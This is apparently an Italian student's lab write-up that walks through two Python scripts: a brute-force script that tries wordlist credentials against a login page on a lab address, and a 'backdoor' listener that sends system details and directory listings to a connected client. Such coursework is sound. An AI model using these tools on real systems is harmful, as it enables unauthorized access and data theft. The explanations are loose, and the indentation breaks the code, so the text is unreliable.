

Es1

All'inizio troviamo import che ci fa avere una libreria sterna. Dopo troviamo username_file e password_file che sono delle variabili a differenza di user_list e pwd_list che sono delle funzioni. For va a fare una scansione degli utenti in user_list, spostandoci sotto viene creata una funzione all'interno di for.

Si va ad utilizzare nuovamente for ma questa volta all'interno del primo for per fare una scansione a pwd_list e all'interno di questo for viene creata la funzione pwd.rstrip() e altre parametri.

Per ultimo troviamo if che se nel ciclo for non esegue o non fa quello che dovrebbe fare fa altro

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 bruteforce_http.py
import http.client, urllib.parse

username_file = open('nomi_utenti.txt')
password_file = open('password.txt')

user_list = username_file.readlines()
pwd_list = password_file.readlines()

for user in user_list:
    user = user.rstrip()
    for pwd in pwd_list:
        pwd = pwd.rstrip()

        print (user,"-",pwd)

    post_parameters = urllib.parse.urlencode({'username': user, 'password': pwd, 'Submit': "Submit"})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml"}
    conn = http.client.HTTPConnection("192.168.56.102",80)
    conn.request("POST", "/login.php", post_parameters, headers)
    response = conn.getresponse()

    if(response.getheader('location') == "benvenuto.php"):
        print("Logged with:",user, " - ",pwd)
```

Es2

Import socket ci va a restituire una connessione. Poi abbiamo SRV_ADDR e SRV_PORT, nella prima ci andiamo a mettere l'indirizzo ip e nell'altra la porta. Nella sesta linea e dove viene assegnata i protocolli di connessioni che abbiamo, in questo caso abbiamo: ipv4 e tcp. Nella settima riga troviamo bind che va legare l'indirizzo ip con la porta. Nella ottava riga c'è listen li stiamo dicendo quanti server deve andare a gestire in questo caso 1 e poi abbiamo connection , Address = s.accept() che lo usiamo per accettare e stabilire la connessione. Print ci mostrerà a schermo se la connessione è stata stabilita mostrandoci l'indirizzo ip. Infine abbiamo il ciclo while che con 1 davanti è sempre vero, perciò ci darà un ciclo infinito finche non si verifica una determinata condizione che lo interrompe

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

        if(data.decode('utf-8') == '1'):
            tosend = platform.platform() + " " + platform.machine()
            connection.sendall(tosend.encode())
        elif(data.decode('utf-8') == '2'):
            data = connection.recv(1024)
            try:
                filelist = os.listdir(data.decode('utf-8'))
                tosend = ""
                for x in filelist:
                    tosend += "," + x
            except:
                tosend = "Wrong path"
            connection.sendall(tosend.encode())
        elif(data.decode('utf-8') == '0'):
            connection.close()
            connection, address = s.accept()
```